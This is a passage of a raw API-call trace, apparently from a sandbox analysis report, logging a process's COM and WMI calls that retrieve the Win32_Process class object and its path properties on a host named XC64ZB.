ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b511458) returned 0x0 [0117.398] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511458, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0117.398] WbemLocator:IUnknown:Release (This=0x1b511458) returned 0x3 [0117.398] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0117.398] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0117.398] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511578, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b511540) returned 0x0 [0117.398] WbemLocator:IRpcOptions:Query (in: This=0x1b511540, pPrx=0x1b511578, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0117.398] WbemLocator:IUnknown:Release (This=0x1b511540) returned 0x3 [0117.398] WbemLocator:IUnknown:Release (This=0x1b511578) returned 0x2 [0117.398] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0117.399] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0117.399] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511578, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x63cd70) returned 0x0 [0117.399] WbemLocator:IUnknown:AddRef (This=0x63cd70) returned 0x4 [0117.399] WbemLocator:IUnknown:Release (This=0x63cd70) returned 0x3 [0117.399] WbemLocator:IUnknown:Release (This=0x63cd70) returned 0x2 [0117.399] SysStringLen (param_1=0x0) returned 0x0 [0117.399] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ab0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0117.399] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0117.399] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0117.399] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0117.399] WbemLocator:IUnknown:AddRef (This=0x1b511578) returned 0x3 [0117.399] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511578, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b511578) returned 0x0 [0117.399] WbemLocator:IUnknown:Release (This=0x1b511578) returned 0x3 [0117.399] WbemLocator:IUnknown:Release (This=0x1b511578) returned 0x2 [0117.399] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0117.400] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0117.400] IWbemServices:GetObject (in: This=0x63cd70, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d8350, ppCallResult=0x0) returned 0x0 [0117.501] IWbemClassObject:Get (in: This=0x1b4d8350, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0117.501] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0117.501] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0117.501] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0117.501] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0117.501] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0117.501] IUnknown:Release (This=0x6124e8) returned 0x1 [0117.502] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4d2ce0) returned 0x0 [0117.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2ce0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0117.503] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2ce0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4af8e0) returned 0x0 [0117.503] WbemDefPath:IUnknown:Release (This=0x1b4d2ce0) returned 0x0 [0117.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4af8e0) returned 0x0 [0117.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0117.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0117.503] WbemDefPath:IUnknown:AddRef (This=0x1b4af8e0) returned 0x3 [0117.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0117.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0117.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4d2b20) returned 0x0 [0117.503] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2b20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0117.504] WbemDefPath:IUnknown:Release (This=0x1b4d2b20) returned 0x3 [0117.504] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0117.504] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0117.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0117.504] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x2 [0117.504] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x1 [0117.504] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0117.504] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0117.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4af8e0) returned 0x0 [0117.504] WbemDefPath:IUnknown:AddRef (This=0x1b4af8e0) returned 0x3 [0117.504] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x2 [0117.504] WbemDefPath:IWbemPath:SetText (This=0x1b4af8e0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0117.504] IWbemClassObject:Get (in: This=0x1b4d8350, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0117.504] SysStringByteLen (bstr="XC64ZB") returned 0xc [0117.504] SysStringByteLen (bstr="XC64ZB") returned 0xc [0117.505] IWbemClassObject:Get (in: This=0x1b4d8350, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0117.505] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0117.505] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0117.505] IWbemClassObject:Get (in: This=0x1b4d8350, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0117.505] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0117.505] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0117.505] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0117.505] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0117.505] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0117.505] IUnknown:Release (This=0x6124e8) returned 0x1 [0117.506] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2880) returned 0x0 [0117.506] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2880, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0117.506] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2880, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4aef20) returned 0x0 [0117.506] WbemDefPath:IUnknown:Release (This=0x1b4d2880) returned 0x0 [0117.506] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4aef20) returned 0x0 [0117.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0117.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0117.507] WbemDefPath:IUnknown:AddRef (This=0x1b4aef20) returned 0x3 [0117.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0117.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0117.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2d80) returned 0x0 [0117.507] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2d80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0117.507] WbemDefPath:IUnknown:Release (This=0x1b4d2d80) returned 0x3 [0117.507] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0117.507] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0117.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0117.507] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x2 [0117.507] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x1 [0117.507] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0117.507] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0117.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4aef20) returned 0x0 [0117.508] WbemDefPath:IUnknown:AddRef (This=0x1b4aef20) returned 0x3 [0117.508] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x2 [0117.508] WbemDefPath:IWbemPath:SetText (This=0x1b4aef20, uMode=0x4, pszPath="") returned 0x0 [0117.508] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0117.508] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0117.508] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0117.508] IUnknown:Release (This=0x6124e8) returned 0x1 [0117.509] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2be0) returned 0x0 [0117.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2be0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0117.509] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2be0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4afe20) returned 0x0 [0117.509] WbemDefPath:IUnknown:Release (This=0x1b4d2be0) returned 0x0 [0117.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4afe20) returned 0x0 [0117.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0117.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0117.509] WbemDefPath:IUnknown:AddRef (This=0x1b4afe20) returned 0x3 [0117.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0117.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0117.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d28e0) returned 0x0 [0117.509] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d28e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0117.509] WbemDefPath:IUnknown:Release (This=0x1b4d28e0) returned 0x3 [0117.510] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0117.510] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0117.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0117.510] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x2 [0117.510] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x1 [0117.510] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0117.510] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0117.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4afe20) returned 0x0 [0117.510] WbemDefPath:IUnknown:AddRef (This=0x1b4afe20) returned 0x3 